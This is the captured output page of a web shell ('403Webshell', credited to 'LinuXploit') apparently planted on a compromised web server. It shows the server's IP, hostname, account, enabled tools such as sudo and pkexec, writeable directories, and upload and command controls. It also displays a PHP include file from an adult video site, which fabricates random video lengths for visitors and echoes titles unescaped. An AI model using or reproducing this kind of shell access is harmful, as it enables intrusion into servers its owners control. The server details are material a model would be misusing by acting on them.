403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/esexshows.com/public_html/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/esexshows.com/public_html/includes/includes.php
<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);

define('THUMBS_FOLDER', 'thumbs/');
define('THUMBS_COUNT', 20);
define('THUMBS_TOTAL', sizeof( returnFolderContents() ));

function returnFolderContents(){
	$imagesArray = array();
	$images = glob(THUMBS_FOLDER . "*.jpg");

	foreach($images as $image){
		$image = str_replace(THUMBS_FOLDER, '', $image);
		$imagesArray[] = $image;
	}
	return $imagesArray;
}

function countFolderContents(){
	return sizeof( returnFolderContents() );
}

function getShuffledContent(){
	$imagesArray = returnFolderContents();
	shuffle( $imagesArray );
	return $pages = array_chunk($imagesArray, THUMBS_COUNT);
}

function displayContent($pages, $p) {
	include('titles.php');
	foreach($pages[$p-1] as $file){
		$random_minutes = rand(34,49);
		$random_seconds = rand(10,59);
		$random_photos = rand(80,200);
		
		$video_id = explode('.', $file);
		$video_id = $video_id[0];
		
		if( array_key_exists( $video_id , $titles ) ) { $title = $titles[$video_id]; }
		else { $title = 'NO TITLE SET in titles.php'; }
	?>
	
	<li>
		<div class="video-inner">
			<div class="video-thum">
				<img src="<?php echo THUMBS_FOLDER.$file; ?>" alt="<?php echo $title; ?>"/>
				<div class="play-link"><a href="join.php?video=<?php echo $video_id; ?>" title="<?php echo $title; ?>"></a></div>
			</div>
			<div class="video-detail clear">
			<div class="video-left">
			<div class="video-time">
				<span class="lengh">Full HD Download Length: <?php echo $random_minutes; ?>:<?php echo $random_seconds; ?></span>
			</div>
			</div>
			<div class="video-rgt">
				<div class="video-quality">
					<img src="images/hd-icon.png" alt="">
				</div>
			</div>
		</div>
		</div>
	</li>
	
	<?php
	}//foreach
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit